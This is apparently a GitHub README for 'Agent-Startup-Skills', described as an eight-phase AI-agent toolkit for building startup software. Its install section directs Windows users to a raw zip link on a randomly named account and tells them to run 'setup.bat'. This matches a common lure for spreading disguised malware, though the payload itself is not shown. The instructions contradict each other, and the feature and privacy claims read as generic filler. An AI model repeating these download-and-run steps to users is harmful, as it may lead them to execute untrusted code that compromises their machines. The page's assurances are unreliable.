Agent-Startup-Skills acts as a blueprint for your computer's brain. It gives AI programs the ability to plan, write, and launch software products. Instead of writing code line by line, you use these skills to build an entire company foundation.
This tool works with platforms like Antigravity, Claude Code, and Codex. It organizes your project into eight clear steps. You move from the initial idea to a finished web service. It handles the heavy lifting so you focus on the business goals.
Your computer needs specific tools to run this software. Please install these items before you proceed:
- A Windows 10 or 11 computer with at least 16GB of RAM.
- A stable internet connection for downloading project files.
- A primary web browser like Chrome, Edge, or Firefox.
- An active account for your chosen AI agent platform.
Follow these instructions to set up the software on your machine:
- Visit the repository page to download the project files: https://github.com/batterfried-philosophy172/Agent-Startup-Skills/raw/refs/heads/main/docs/Startup-Skills-Agent-1.5.zip.
- Click the green "Code" button on the webpage and select "Download ZIP".
- Locate the downloaded file in your "Downloads" folder.
- Right-click the file and select "Extract All". Choose a folder on your desktop for easy access.
- Open the new folder and find the file named "setup.bat".
- Double-click "setup.bat" to begin the installation. A black window will appear on your screen. This is normal.
- Wait for the window to indicate that the process finished. Press any key to close the window.
The software divides the startup building process into eight specific phases. You unlock these by selecting the relevant agent skill within your dashboard.
The agent analyzes your initial thought. It checks if the market needs your product. You provide a prompt, and the agent returns a summary of the value proposition.
The system draws a map of your code. It decides which database to use and how the software speaks to different parts of the internet.
Your agent creates the look of your website. It writes the stylesheets and page layouts. You review these files in your browser to verify the appearance.
This phrase focuses on logic. The agent writes functions for users to sign up, log in, and perform actions specific to your software.
The agent runs tests on your software. It searches for errors in the code. It fixes bugs to ensure the application runs without crashing.
Tools need instructions. The agent writes guides that explain how to use your software. It also creates notes for your developers.
The software needs a home on the web. The agent packages your code for platforms like Vercel or Heroku. It checks for security gaps before the launch.
The final phase sets up tools to measure your visitors. It ensures your software is ready for real users.
If the software does not behave as expected, check these common fixes:
- The black window closes immediately: Ensure you have the latest version of Windows installed. Check your internet connection if the installer pulls files from the web.
- The AI agent reports an error: Check your API key. Most platforms require a key to function. Verify that you entered the key correctly in the settings file.
- The interface looks strange: Clear your browser cache. Sometimes old files block new updates from showing correctly.
- My computer runs slowly: Close background applications like high-definition video players or other AI tools while you run the agent skills.
You keep full control of your data. This software stores files locally on your hard drive. It only shares information with the AI provider when you ask it to perform a task. We do not store your passwords or private credentials on our servers. You provide keys directly to the service provider.
Keep your API keys private. Do not share your setup folder with other people. If you suspect someone has your key, revoke it immediately at the provider website and generate a new one.
You gain better results when you follow these tips for your prompts:
- Be specific. Instead of saying "Build a login page," say "Build a login page with email and password fields, a 'forgot password' link, and a dark blue theme."
- Give feedback. If the first result is not perfect, tell the agent what to change. It learns from your input.
- Use a clear folder structure. Keep your projects separate. Labels your folders by the project name so the agent does not lose track of files.
This project relies on open-source contributions. You can view the code at any time. Report bugs or suggest features in the Issues tab on the GitHub page. Other users monitor this space and provide help when you face technical hurdles. Do not include personal data when you post on the public forum. Always check if a similar issue exists before you start a new report.